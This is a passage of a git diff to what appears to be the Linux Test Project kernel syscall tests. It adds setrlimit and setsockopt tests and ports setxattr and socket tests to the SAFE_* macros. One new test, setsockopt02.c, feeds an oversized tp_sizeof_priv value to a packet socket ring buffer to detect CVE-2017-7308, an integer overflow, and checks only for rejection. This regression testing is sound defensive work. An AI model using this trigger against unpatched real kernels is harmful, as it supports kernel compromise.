+	SAFE_GETRLIMIT(RLIMIT_NOFILE, &rlim1);
+	rlim2.rlim_max = rlim1.rlim_cur;
+	rlim2.rlim_cur = rlim1.rlim_max + 1;
+	rlim1.rlim_max = NR_OPEN + 1;
 }
 
-/*
- * cleanup() - performs all ONE TIME cleanup for this test at
- *	       completion or premature exit.
- */
-void cleanup(void)
-{
-
-}
+static struct tst_test test = {
+	.setup = setup,
+	.tcnt = ARRAY_SIZE(tcases),
+	.test = verify_setrlimit,
+	.needs_root = 1
+};
diff --git a/testcases/kernel/syscalls/setrlimit/setrlimit04.c b/testcases/kernel/syscalls/setrlimit/setrlimit04.c
new file mode 100644
index 0000000..5b6c958
--- /dev/null
+++ b/testcases/kernel/syscalls/setrlimit/setrlimit04.c
@@ -0,0 +1,63 @@
+/*
+ *   Copyright (C) 2017 Red Hat, Inc.  All rights reserved.
+ *
+ *   This program is free software;  you can redistribute it and/or modify
+ *   it under the terms of the GNU General Public License as published by
+ *   the Free Software Foundation; either version 2 of the License, or
+ *   (at your option) any later version.
+ *
+ *   This program is distributed in the hope that it will be useful,
+ *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
+ *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+ *   the GNU General Public License for more details.
+ *
+ *   DESCRIPTION
+ *     Attempt to run a trivial binary with stack < 1MB.
+ *
+ *     Early patches for stack guard gap caused that gap size was
+ *     contributing to stack limit. This caused failures
+ *     for new processes (E2BIG) when ulimit was set to anything
+ *     lower than size of gap. commit 1be7107fbe18 "mm: larger
+ *     stack guard gap, between vmas" sets default gap size to 1M
+ *     (for systems with 4k pages), so let's set stack limit to 512kB
+ *     and confirm we can still run some trivial binary.
+ */
+
+#define _GNU_SOURCE
+#include <sys/resource.h>
+#include <sys/time.h>
+#include <sys/wait.h>
+
+#include "tst_test.h"
+
+#define STACK_LIMIT (512 * 1024)
+
+static void test_setrlimit(void)
+{
+	int status;
+	struct rlimit rlim;
+	pid_t child;
+
+	rlim.rlim_cur = STACK_LIMIT;
+	rlim.rlim_max = STACK_LIMIT;
+
+	SAFE_SETRLIMIT(RLIMIT_STACK, &rlim);
+
+	child = SAFE_FORK();
+	if (child == 0)
+		SAFE_EXECLP("/bin/true", "/bin/true", NULL);
+	SAFE_WAITPID(child, &status, 0);
+
+	if (WIFEXITED(status) && WEXITSTATUS(status) == 0) {
+		tst_res(TPASS, "child process completed OK");
+		return;
+	}
+
+	tst_res(TFAIL, "child %s", tst_strstatus(status));
+}
+
+static struct tst_test test = {
+	.test_all     = test_setrlimit,
+	.forks_child  = 1,
+	.needs_root = 1,
+};
diff --git a/testcases/kernel/syscalls/setrlimit/setrlimit05.c b/testcases/kernel/syscalls/setrlimit/setrlimit05.c
new file mode 100644
index 0000000..7ea7d62
--- /dev/null
+++ b/testcases/kernel/syscalls/setrlimit/setrlimit05.c
@@ -0,0 +1,73 @@
+/*
+ * Copyright (c) 2017 FUJITSU LIMITED. All rights reserved.
+ * Author: Xiao Yang <yangx.jy@cn.fujitsu.com>
+ *
+ * This program is free software;  you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY;  without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+ * the GNU General Public License for more details.
+ */
+
+/*
+ * Test for EFAULT when rlim points outside the accessible address space.
+ */
+
+#define _GNU_SOURCE
+#include <errno.h>
+#include <sys/resource.h>
+#include <sys/time.h>
+#include <sys/wait.h>
+#include <stdlib.h>
+
+#include "tst_test.h"
+
+static void verify_setrlimit(void)
+{
+	int status;
+	pid_t pid;
+
+	pid = SAFE_FORK();
+	if (!pid) {
+		TEST(setrlimit(RLIMIT_NOFILE, (void *) -1));
+		if (TEST_RETURN != -1) {
+			tst_res(TFAIL, "setrlimit()  succeeded unexpectedly");
+			exit(0);
+		}
+
+		/* Usually, setrlimit() should return EFAULT */
+		if (TEST_ERRNO == EFAULT) {
+			tst_res(TPASS | TTERRNO,
+				"setrlimit() failed as expected");
+		} else {
+			tst_res(TFAIL | TTERRNO,
+				"setrlimit() should fail with EFAULT, got");
+		}
+
+		exit(0);
+	}
+
+	SAFE_WAITPID(pid, &status, 0);
+
+	/* If glibc has to convert between 32bit and 64bit struct rlimit
+	 * in some cases, it is possible to get SegFault.
+	 */
+	if (WIFSIGNALED(status) && WTERMSIG(status) == SIGSEGV) {
+		tst_res(TPASS, "setrlimit() caused SIGSEGV");
+		return;
+	}
+
+	if (WIFEXITED(status) && WEXITSTATUS(status) == 0)
+		return;
+
+	tst_res(TBROK, "child %s", tst_strstatus(status));
+}
+
+static struct tst_test test = {
+	.test_all = verify_setrlimit,
+	.forks_child = 1,
+};
diff --git a/testcases/kernel/syscalls/setsockopt/setsockopt01.c b/testcases/kernel/syscalls/setsockopt/setsockopt01.c
index f25694a..743c6be 100644
--- a/testcases/kernel/syscalls/setsockopt/setsockopt01.c
+++ b/testcases/kernel/syscalls/setsockopt/setsockopt01.c
@@ -54,6 +54,7 @@
 #include <netinet/in.h>
 
 #include "test.h"
+#include "safe_macros.h"
 
 char *TCID = "setsockopt01";
 int testno;
@@ -200,15 +201,9 @@
 
 void setup1(void)
 {
-	s = socket(tdat[testno].domain, tdat[testno].type, tdat[testno].proto);
-	if (s < 0) {
-		tst_brkm(TBROK, cleanup, "socket setup failed for setsockopt:"
-			 " %s", strerror(errno));
-	}
-	if (bind(s, (struct sockaddr *)&sin0, sizeof(sin0)) < 0) {
-		tst_brkm(TBROK, cleanup, "socket bind failed for setsockopt:"
-			 " %s", strerror(errno));
-	}
+	s = SAFE_SOCKET(cleanup, tdat[testno].domain, tdat[testno].type,
+			tdat[testno].proto);
+	SAFE_BIND(cleanup, s, (struct sockaddr *)&sin0, sizeof(sin0));
 }
 
 void cleanup1(void)
diff --git a/testcases/kernel/syscalls/setsockopt/setsockopt02.c b/testcases/kernel/syscalls/setsockopt/setsockopt02.c
new file mode 100644
index 0000000..22dc43a
--- /dev/null
+++ b/testcases/kernel/syscalls/setsockopt/setsockopt02.c
@@ -0,0 +1,145 @@
+/*
+ * Copyright (c) 2017 Richard Palethorpe <rpalethorpe@suse.com>
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+/* Test for CVE-2017-7308 on a raw socket's ring buffer
+ *
+ * Try to set tpacket_req3.tp_sizeof_priv to a value with the high bit set. So
+ * that tp_block_size < tp_sizeof_priv. If the vulnerability is present then
+ * this will cause an integer arithmetic overflow and the absurd
+ * tp_sizeof_priv value will be allowed. If it has been fixed then setsockopt
+ * will fail with EINVAL.
+ *
+ * We also try a good configuration to make sure it is not failing with EINVAL
+ * for some other reason.
+ *
+ * For a better and more interesting discussion of this CVE see:
+ * https://googleprojectzero.blogspot.com/2017/05/exploiting-linux-kernel-via-packet.html
+ */
+
+#include <errno.h>
+#include "tst_test.h"
+#include "tst_safe_net.h"
+#include "config.h"
+
+#ifdef HAVE_LINUX_IF_PACKET_H
+# include <linux/if_packet.h>
+#endif
+
+#ifdef HAVE_LINUX_IF_ETHER_H
+# include <linux/if_ether.h>
+#endif
+
+#ifndef ETH_P_ALL
+# define ETH_P_ALL 0x0003
+#endif
+
+#ifndef PACKET_RX_RING
+# define PACKET_RX_RING 5
+#endif
+
+#ifndef PACKET_VERSION
+# define PACKET_VERSION 10
+#endif
+
+#ifndef HAVE_STRUCT_TPACKET_REQ3
+# define TPACKET_V3 2
+
+struct tpacket_req3 {
+	unsigned int	tp_block_size;
+	unsigned int	tp_block_nr;
+	unsigned int	tp_frame_size;
+	unsigned int	tp_frame_nr;
+	unsigned int	tp_retire_blk_tov;
+	unsigned int	tp_sizeof_priv;
+	unsigned int	tp_feature_req_word;
+};
+#endif
+
+static int sk;
+static long pgsz;
+
+static void setup(void)
+{
+	pgsz = SAFE_SYSCONF(_SC_PAGESIZE);
+}
+
+static void cleanup(void)
+{
+	if (sk > 0)
+		SAFE_CLOSE(sk);
+}
+
+static int create_skbuf(unsigned int sizeof_priv)
+{
+	int ver = TPACKET_V3;
+	struct tpacket_req3 req = {};
+
+	req.tp_block_size = pgsz;
+	req.tp_block_nr = 2;
+	req.tp_frame_size = req.tp_block_size;
+	req.tp_frame_nr = req.tp_block_nr;
+	req.tp_retire_blk_tov = 100;
+
+	req.tp_sizeof_priv = sizeof_priv;
+
+	sk = SAFE_SOCKET(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
+	TEST(setsockopt(sk, SOL_PACKET, PACKET_VERSION, &ver, sizeof(ver)));
+	if (TEST_RETURN && TEST_ERRNO == EINVAL)
+		tst_brk(TCONF | TTERRNO, "TPACKET_V3 not supported");
+	if (TEST_RETURN)
+		tst_brk(TBROK | TTERRNO, "setsockopt(sk, SOL_PACKET, PACKET_VERSION, TPACKET_V3)");
+
+	return setsockopt(sk, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
+}
+
+static void good_size(void)
+{
+	TEST(create_skbuf(512));
+	if (TEST_RETURN)
+		tst_brk(TBROK | TTERRNO, "Can't create ring buffer with good settings");
+
+	tst_res(TPASS, "Can create ring buffer with good settinegs");
+}
+
+static void bad_size(void)
+{
+	TEST(create_skbuf(3U << 30));
+	if (TEST_RETURN && TEST_ERRNO != EINVAL)
+		tst_brk(TBROK | TTERRNO, "Unexpected setsockopt() error");
+	if (TEST_RETURN)
+		tst_res(TPASS | TTERRNO, "Refused bad tp_sizeof_priv value");
+	else
+		tst_res(TFAIL, "Allowed bad tp_sizeof_priv value");
+}
+
+static void run(unsigned int i)
+{
+	if (i == 0)
+		good_size();
+	else
+		bad_size();
+
+	SAFE_CLOSE(sk);
+}
+
+static struct tst_test test = {
+	.test = run,
+	.tcnt = 2,
+	.needs_root = 1,
+	.setup = setup,
+	.cleanup = cleanup,
+	.min_kver = "3.2",
+};
diff --git a/testcases/kernel/syscalls/setuid/setuid04.c b/testcases/kernel/syscalls/setuid/setuid04.c
index 5879e91..3459e66 100644
--- a/testcases/kernel/syscalls/setuid/setuid04.c
+++ b/testcases/kernel/syscalls/setuid/setuid04.c
@@ -34,6 +34,7 @@
 #include <unistd.h>
 
 #include "test.h"
+#include "safe_macros.h"
 #include "compat_16.h"
 
 char *TCID = "setuid04";
@@ -155,9 +156,7 @@
 	tst_tmpdir();
 
 	/* Create test file */
-	fd = open(testfile, O_CREAT | O_RDWR, 0644);
-	if (fd < 0)
-		tst_brkm(TBROK, cleanup, "cannot creat test file");
+	fd = SAFE_OPEN(cleanup, testfile, O_CREAT | O_RDWR, 0644);
 
 	tst_sig(FORK, DEF_HANDLER, cleanup);
 
diff --git a/testcases/kernel/syscalls/setxattr/setxattr01.c b/testcases/kernel/syscalls/setxattr/setxattr01.c
index 478f994..4db5612 100644
--- a/testcases/kernel/syscalls/setxattr/setxattr01.c
+++ b/testcases/kernel/syscalls/setxattr/setxattr01.c
@@ -57,9 +57,7 @@
 #ifdef HAVE_SYS_XATTR_H
 # include <sys/xattr.h>
 #endif
-#include "test.h"
-
-char *TCID = "setxattr01";
+#include "tst_test.h"
 
 #ifdef HAVE_SYS_XATTR_H
 #define XATTR_NAME_MAX 255
@@ -68,162 +66,128 @@
 #define XATTR_TEST_KEY "user.testkey"
 #define XATTR_TEST_VALUE "this is a test value"
 #define XATTR_TEST_VALUE_SIZE 20
+#define MNTPOINT "mntpoint"
+#define FNAME MNTPOINT"/setxattr01testfile"
 
-static void setup(void);
-static void cleanup(void);
-
-char filename[BUFSIZ];
-char long_key[XATTR_NAME_LEN];
-char *long_value;
+static char long_key[XATTR_NAME_LEN];
+static char *long_value;
+static char *xattr_value = XATTR_TEST_VALUE;
 
 struct test_case {
-	char *fname;
 	char *key;
-	char *value;
+	char **value;
 	size_t size;
 	int flags;
 	int exp_err;
 };
 struct test_case tc[] = {
 	{			/* case 00, invalid flags */
-	 .fname = filename,
-	 .key = XATTR_TEST_KEY,
-	 .value = XATTR_TEST_VALUE,
+	 .key = long_key,
+	 .value = &xattr_value,
 	 .size = XATTR_TEST_VALUE_SIZE,
 	 .flags = ~0,
 	 .exp_err = EINVAL,
 	 },
 	{			/* case 01, replace non-existing attribute */
-	 .fname = filename,
 	 .key = XATTR_TEST_KEY,
-	 .value = XATTR_TEST_VALUE,
+	 .value = &xattr_value,
 	 .size = XATTR_TEST_VALUE_SIZE,
 	 .flags = XATTR_REPLACE,
 	 .exp_err = ENODATA,
 	 },
-	{			/* case 02, long key name, key will be set in setup() */
-	 .fname = filename,
-	 .key = NULL,
-	 .value = XATTR_TEST_VALUE,
+	{			/* case 02, long key name */
+	 .key = long_key,
+	 .value = &xattr_value,
 	 .size = XATTR_TEST_VALUE_SIZE,
 	 .flags = XATTR_CREATE,
 	 .exp_err = ERANGE,
 	 },
-	{			/* case 03, long value, value will be set in setup() */
-	 .fname = filename,
+	{			/* case 03, long value */
 	 .key = XATTR_TEST_KEY,
-	 .value = NULL,
+	 .value = &long_value,
 	 .size = XATTR_SIZE_MAX + 1,
 	 .flags = XATTR_CREATE,
 	 .exp_err = E2BIG,
 	 },
 	{			/* case 04, zero length value */
-	 .fname = filename,
 	 .key = XATTR_TEST_KEY,
-	 .value = XATTR_TEST_VALUE,
+	 .value = &xattr_value,
 	 .size = 0,
 	 .flags = XATTR_CREATE,
 	 .exp_err = 0,
 	 },
 	{			/* case 05, create existing attribute */
-	 .fname = filename,
 	 .key = XATTR_TEST_KEY,
-	 .value = XATTR_TEST_VALUE,
+	 .value = &xattr_value,
 	 .size = XATTR_TEST_VALUE_SIZE,
 	 .flags = XATTR_CREATE,
 	 .exp_err = EEXIST,
 	 },
 	{			/* case 06, replace existing attribute */
-	 .fname = filename,
 	 .key = XATTR_TEST_KEY,
-	 .value = XATTR_TEST_VALUE,
+	 .value = &xattr_value,
 	 .size = XATTR_TEST_VALUE_SIZE,
 	 .flags = XATTR_REPLACE,
 	 .exp_err = 0,
-	 },
+	},
 };
 
-int TST_TOTAL = sizeof(tc) / sizeof(tc[0]);
-
-int main(int argc, char *argv[])
+static void verify_setxattr(unsigned int i)
 {
-	int lc;
-	int i;
+	TEST(setxattr(FNAME, tc[i].key, *tc[i].value, tc[i].size, tc[i].flags));
 
-	tst_parse_opts(argc, argv, NULL, NULL);
+	if (TEST_RETURN == -1 && TEST_ERRNO == EOPNOTSUPP)
+		tst_brk(TCONF, "setxattr() not supported");
 
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-
-		for (i = 0; i < TST_TOTAL; i++) {
-			TEST(setxattr(tc[i].fname, tc[i].key, tc[i].value,
-				      tc[i].size, tc[i].flags));
-
-			if (TEST_ERRNO == tc[i].exp_err) {
-				tst_resm(TPASS | TTERRNO, "expected behavior");
-			} else {
-				tst_resm(TFAIL | TTERRNO, "unexpected behavior "
-					 "- expected errno %d - Got",
-					 tc[i].exp_err);
-			}
+	if (!tc[i].exp_err) {
+		if (TEST_RETURN) {
+			tst_res(TFAIL | TTERRNO,
+				"setxattr() failed with %li", TEST_RETURN);
+			return;
 		}
+
+		tst_res(TPASS, "setxattr() passed");
+		return;
 	}
 
-	cleanup();
-	tst_exit();
+	if (TEST_RETURN == 0) {
+		tst_res(TFAIL, "setxattr() passed unexpectedly");
+		return;
+	}
+
+	if (TEST_ERRNO != tc[i].exp_err) {
+		tst_res(TFAIL | TTERRNO, "setxattr() should fail with %s",
+			tst_strerrno(tc[i].exp_err));
+		return;
+	}
+
+	tst_res(TPASS | TTERRNO, "setxattr() failed");
 }
 
 static void setup(void)
 {
-	int fd;
-
-	tst_require_root();
-
-	tst_tmpdir();
-
-	/* Test for xattr support */
-	fd = creat("testfile", 0644);
-	if (fd == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "Create testfile failed");
-	close(fd);
-	if (setxattr("testfile", "user.test", "test", 4, XATTR_CREATE) == -1)
-		if (errno == ENOTSUP)
-			tst_brkm(TCONF, cleanup, "No xattr support in fs or "
-				 "mount without user_xattr option");
-
-	/* Create test file */
-	snprintf(filename, BUFSIZ, "setxattr01testfile");
-	fd = creat(filename, 0644);
-	if (fd == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "Create test file(%s) failed",
-			 filename);
-	close(fd);
-
-	/* Prepare test cases */
 	snprintf(long_key, 6, "%s", "user.");
 	memset(long_key + 5, 'k', XATTR_NAME_LEN - 5);
 	long_key[XATTR_NAME_LEN - 1] = '\0';
-	tc[2].key = long_key;
 
-	long_value = malloc(XATTR_SIZE_MAX + 2);
-	if (!long_value)
-		tst_brkm(TBROK | TERRNO, cleanup, "malloc failed");
+	long_value = SAFE_MALLOC(XATTR_SIZE_MAX + 2);
 	memset(long_value, 'v', XATTR_SIZE_MAX + 2);
 	long_value[XATTR_SIZE_MAX + 1] = '\0';
-	tc[3].value = long_value;
 
-	TEST_PAUSE;
+	SAFE_TOUCH(FNAME, 0644, NULL);
 }
 
-static void cleanup(void)
-{
-	tst_rmdir();
-}
+static struct tst_test test = {
+	.setup = setup,
+	.test = verify_setxattr,
+	.tcnt = ARRAY_SIZE(tc),
+	.mntpoint = MNTPOINT,
+	.mount_device = 1,
+	.all_filesystems = 1,
+	.needs_tmpdir = 1,
+	.needs_root = 1,
+};
+
 #else /* HAVE_SYS_XATTR_H */
-int main(int argc, char *argv[])
-{
-	tst_brkm(TCONF, NULL, "<sys/xattr.h> does not exist.");
-}
+TST_TEST_TCONF("<sys/xattr.h> does not exist");
 #endif
diff --git a/testcases/kernel/syscalls/setxattr/setxattr02.c b/testcases/kernel/syscalls/setxattr/setxattr02.c
index 0ae452b..0b6ecb3 100644
--- a/testcases/kernel/syscalls/setxattr/setxattr02.c
+++ b/testcases/kernel/syscalls/setxattr/setxattr02.c
@@ -57,9 +57,7 @@
 #ifdef HAVE_SYS_XATTR_H
 # include <sys/xattr.h>
 #endif
-#include "test.h"
-
-char *TCID = "setxattr02";
+#include "tst_test.h"
 
 #ifdef HAVE_SYS_XATTR_H
 #define XATTR_TEST_KEY "user.testkey"
@@ -74,9 +72,6 @@
 #define BLK      "setxattr02blk"
 #define SOCK     "setxattr02sock"
 
-static void setup(void);
-static void cleanup(void);
-
 struct test_case {
 	char *fname;
 	char *key;
@@ -144,100 +139,59 @@
 	 },
 };
 
-int TST_TOTAL = sizeof(tc) / sizeof(tc[0]);
-
-int main(int argc, char *argv[])
+static void verify_setxattr(unsigned int i)
 {
-	int lc;
-	int i;
+	TEST(setxattr(tc[i].fname, tc[i].key, tc[i].value, tc[i].size, tc[i].flags));
 
-	tst_parse_opts(argc, argv, NULL, NULL);
+	if (TEST_RETURN == -1 && TEST_ERRNO == EOPNOTSUPP)
+		tst_brk(TCONF, "setxattr() not supported");
 
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-
-		for (i = 0; i < TST_TOTAL; i++) {
-			TEST(setxattr(tc[i].fname, tc[i].key, tc[i].value,
-				      tc[i].size, tc[i].flags));
-
-			if (TEST_ERRNO == tc[i].exp_err) {
-				tst_resm(TPASS | TTERRNO, "expected behavior");
-			} else {
-				tst_resm(TFAIL | TTERRNO, "unexpected behavior "
-					 "- expected errno %d - Got",
-					 tc[i].exp_err);
-			}
+	if (!tc[i].exp_err) {
+		if (TEST_RETURN) {
+			tst_res(TFAIL | TTERRNO,
+				"setxattr() failed with %li", TEST_RETURN);
+			return;
 		}
+
+		tst_res(TPASS, "setxattr() passed");
+		return;
 	}
 
-	cleanup();
-	tst_exit();
+	if (TEST_RETURN == 0) {
+		tst_res(TFAIL, "setxattr() passed unexpectedly");
+		return;
+	}
+
+	if (TEST_ERRNO != tc[i].exp_err) {
+		tst_res(TFAIL | TTERRNO, "setxattr() should fail with %s",
+			tst_strerrno(tc[i].exp_err));
+		return;
+	}
+
+	tst_res(TPASS | TTERRNO, "setxattr() failed");
 }
 
 static void setup(void)
 {
-	int fd;
-	dev_t dev;
+	dev_t dev = makedev(1, 3);
 
-	tst_require_root();
-
-	tst_tmpdir();
-
-	/* Test for xattr support */
-	fd = creat("testfile", 0644);
-	if (fd == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "Create testfile failed");
-	close(fd);
-	if (setxattr("testfile", "user.test", "test", 4, XATTR_CREATE) == -1)
-		if (errno == ENOTSUP)
-			tst_brkm(TCONF, cleanup, "No xattr support in fs or "
-				 "mount without user_xattr option");
-	unlink("testfile");
-
-	/* Create test files */
-	fd = creat(FILENAME, 0644);
-	if (fd == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "Create test file(%s) failed",
-			 FILENAME);
-	close(fd);
-
-	if (mkdir(DIRNAME, 0644) == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "Create test dir(%s) failed",
-			 DIRNAME);
-
-	if (symlink(FILENAME, SYMLINK) == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "Create symlink(%s->%s)"
-			 " failed", SYMLINK, FILENAME);
-
-	if (mknod(FIFO, S_IFIFO | 0777, 0) == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "Create FIFO(%s) failed",
-			 FIFO);
-
-	dev = makedev(1, 3);
-	if (mknod(CHR, S_IFCHR | 0777, dev) == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "Create char special(%s)"
-			 " failed", CHR);
-
-	if (mknod(BLK, S_IFBLK | 0777, 0) == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "Create block special(%s)"
-			 " failed", BLK);
-
-	if (mknod(SOCK, S_IFSOCK | 0777, 0) == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "Create socket(%s) failed",
-			 SOCK);
-
-	TEST_PAUSE;
+	SAFE_TOUCH(FILENAME, 0644, NULL);
+	SAFE_MKDIR(DIRNAME, 0644);
+	SAFE_SYMLINK(FILENAME, SYMLINK);
+	SAFE_MKNOD(FIFO, S_IFIFO | 0777, 0);
+	SAFE_MKNOD(CHR, S_IFCHR | 0777, dev);
+	SAFE_MKNOD(BLK, S_IFBLK | 0777, 0);
+	SAFE_MKNOD(SOCK, S_IFSOCK | 0777, 0);
 }
 
-static void cleanup(void)
-{
-	tst_rmdir();
-}
+static struct tst_test test = {
+	.setup = setup,
+	.test = verify_setxattr,
+	.tcnt = ARRAY_SIZE(tc),
+	.needs_tmpdir = 1,
+	.needs_root = 1,
+};
+
 #else /* HAVE_SYS_XATTR_H */
-int main(int argc, char *argv[])
-{
-	tst_brkm(TCONF, NULL, "<sys/xattr.h> does not exist.");
-}
+TST_TEST_TCONF("<sys/xattr.h> does not exist");
 #endif
diff --git a/testcases/kernel/syscalls/setxattr/setxattr03.c b/testcases/kernel/syscalls/setxattr/setxattr03.c
index c09211e..a2f6cbf 100644
--- a/testcases/kernel/syscalls/setxattr/setxattr03.c
+++ b/testcases/kernel/syscalls/setxattr/setxattr03.c
@@ -50,6 +50,7 @@
 #include <linux/fs.h>
 
 #include "test.h"
+#include "safe_macros.h"
 
 char *TCID = "setxattr03";
 
@@ -167,9 +168,7 @@
 	tst_tmpdir();
 
 	/* Test for xattr support */
-	fd = creat("testfile", 0644);
-	if (fd == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "Create testfile failed");
+	fd = SAFE_CREAT(cleanup, "testfile", 0644);
 	close(fd);
 	if (setxattr("testfile", "user.test", "test", 4, XATTR_CREATE) == -1)
 		if (errno == ENOTSUP)
@@ -178,18 +177,12 @@
 	unlink("testfile");
 
 	/* Create test files and set file immutable or append-only */
-	immu_fd = creat(IMMU_FILE, 0644);
-	if (immu_fd == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "Create test file(%s) failed",
-			 IMMU_FILE);
+	immu_fd = SAFE_CREAT(cleanup, IMMU_FILE, 0644);
 	if (set_immutable_on(immu_fd))
 		tst_brkm(TBROK | TERRNO, cleanup, "Set %s immutable failed",
 			 IMMU_FILE);
 
-	append_fd = creat(APPEND_FILE, 0644);
-	if (append_fd == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "Create test file(%s) failed",
-			 APPEND_FILE);
+	append_fd = SAFE_CREAT(cleanup, APPEND_FILE, 0644);
 	if (set_append_on(append_fd))
 		tst_brkm(TBROK | TERRNO, cleanup, "Set %s append-only failed",
 			 APPEND_FILE);
diff --git a/testcases/kernel/syscalls/sighold/sighold02.c b/testcases/kernel/syscalls/sighold/sighold02.c
index be01874..8df5fa7 100644
--- a/testcases/kernel/syscalls/sighold/sighold02.c
+++ b/testcases/kernel/syscalls/sighold/sighold02.c
@@ -48,6 +48,7 @@
 #include <sys/types.h>
 #include <sys/wait.h>
 #include "test.h"
+#include "safe_macros.h"
 
 /* _XOPEN_SOURCE disables NSIG */
 #ifndef NSIG
@@ -111,11 +112,7 @@
 			for (sig = 1; sig < NUMSIGS; sig++) {
 				if (skip_sig(sig))
 					continue;
-				if (kill(pid, sig) < 0) {
-					tst_brkm(TBROK | TERRNO, NULL,
-						 "kill(%d, %d(%s)) failed",
-						 pid, sig, tst_strsig(sig));
-				}
+				SAFE_KILL(NULL, pid, sig);
 			}
 
 			TST_SAFE_CHECKPOINT_WAKE(NULL, 0);
diff --git a/testcases/kernel/syscalls/sigrelse/sigrelse01.c b/testcases/kernel/syscalls/sigrelse/sigrelse01.c
index 3d13c45..3b86d0b 100644
--- a/testcases/kernel/syscalls/sigrelse/sigrelse01.c
+++ b/testcases/kernel/syscalls/sigrelse/sigrelse01.c
@@ -291,8 +291,7 @@
 	/*
 	 * child is now releasing signals, wait and check exit value
 	 */
-	if (wait(&term_stat) < 0)
-		tst_brkm(TBROK | TERRNO, getout, "wait() failed");
+	SAFE_WAIT(getout, &term_stat);
 
 	/* check child's signal exit value */
 	if ((sig = CHILD_SIG(term_stat)) != 0)
diff --git a/testcases/kernel/syscalls/sigwaitinfo/sigwaitinfo01.c b/testcases/kernel/syscalls/sigwaitinfo/sigwaitinfo01.c
index 35acd67..95a9436 100644
--- a/testcases/kernel/syscalls/sigwaitinfo/sigwaitinfo01.c
+++ b/testcases/kernel/syscalls/sigwaitinfo/sigwaitinfo01.c
@@ -249,6 +249,7 @@
 	sigset_t sigs, oldmask;
 	siginfo_t si;
 	pid_t child[2];
+	int status;
 
 	signo = SIGRTMIN + 1;
 
@@ -268,6 +269,10 @@
 	child[0] = create_sig_proc(0, signo, 1);
 	child[1] = create_sig_proc(0, signo + 1, 1);
 
+	/* Ensure that the signals have been sent */
+	waitpid(child[0], &status, 0);
+	waitpid(child[1], &status, 0);
+
 	TEST(sigwaitinfo(&sigs, &si, NULL));
 	REPORT_SUCCESS_COND(signo, 0, si.si_pid == child[0]
 			    && si.si_code == SI_USER
@@ -358,8 +363,27 @@
 
 void test_bad_address2(swi_func sigwaitinfo, int signo)
 {
-	TEST(sigwaitinfo((void *)1, NULL, NULL));
-	REPORT_SUCCESS(-1, EFAULT);
+	pid_t pid;
+	int status;
+
+	switch (pid = fork()) {
+	case -1:
+		tst_brkm(TBROK | TERRNO, NULL, "fork() failed");
+	case 0:
+		signal(SIGSEGV, SIG_DFL);
+		TEST(sigwaitinfo((void *)1, NULL, NULL));
+
+		_exit(0);
+		break;
+	default:
+		break;
+	}
+
+	SUCCEED_OR_DIE(waitpid, "waitpid failed", pid, &status, 0);
+	if (WIFSIGNALED(status) && WTERMSIG(status) == SIGSEGV)
+		tst_resm(TPASS, "Test passed");
+	else
+		tst_resm(TFAIL, "Unrecognised child exit code");
 }
 
 void test_bad_address3(swi_func sigwaitinfo, int signo)
diff --git a/testcases/kernel/syscalls/sockioctl/sockioctl01.c b/testcases/kernel/syscalls/sockioctl/sockioctl01.c
index 50bdc93..486236a 100644
--- a/testcases/kernel/syscalls/sockioctl/sockioctl01.c
+++ b/testcases/kernel/syscalls/sockioctl/sockioctl01.c
@@ -40,6 +40,7 @@
 #include <net/if.h>
 
 #include "test.h"
+#include "safe_macros.h"
 
 char *TCID = "sockioctl01";
 int testno;
@@ -204,15 +205,9 @@
 
 static void setup1(void)
 {
-	s = socket(tdat[testno].domain, tdat[testno].type, tdat[testno].proto);
-	if (s < 0) {
-		tst_brkm(TBROK, cleanup, "socket setup failed: %s",
-			 strerror(errno));
-	}
-	if (bind(s, (struct sockaddr *)&sin0, sizeof(sin0)) < 0) {
-		tst_brkm(TBROK, cleanup, "socket bind failed for: %s",
-			 strerror(errno));
-	}
+	s = SAFE_SOCKET(cleanup, tdat[testno].domain, tdat[testno].type,
+			tdat[testno].proto);
+	SAFE_BIND(cleanup, s, (struct sockaddr *)&sin0, sizeof(sin0));
 	sinlen = sizeof(fsin1);
 
 	if (strncmp(tdat[testno].desc, "ATMARK on UDP", 14) == 0) {
@@ -223,11 +218,8 @@
 
 static void setup2(void)
 {
-	s = socket(tdat[testno].domain, tdat[testno].type, tdat[testno].proto);
-	if (s < 0) {
-		tst_brkm(TBROK, cleanup, "socket setup failed: %s",
-			 strerror(errno));
-	}
+	s = SAFE_SOCKET(cleanup, tdat[testno].domain, tdat[testno].type,
+			tdat[testno].proto);
 	ifc.ifc_len = sizeof(buf);
 	ifc.ifc_buf = buf;
 }
@@ -235,10 +227,7 @@
 static void setup3(void)
 {
 	setup2();
-	if (ioctl(s, SIOCGIFCONF, &ifc) < 0) {
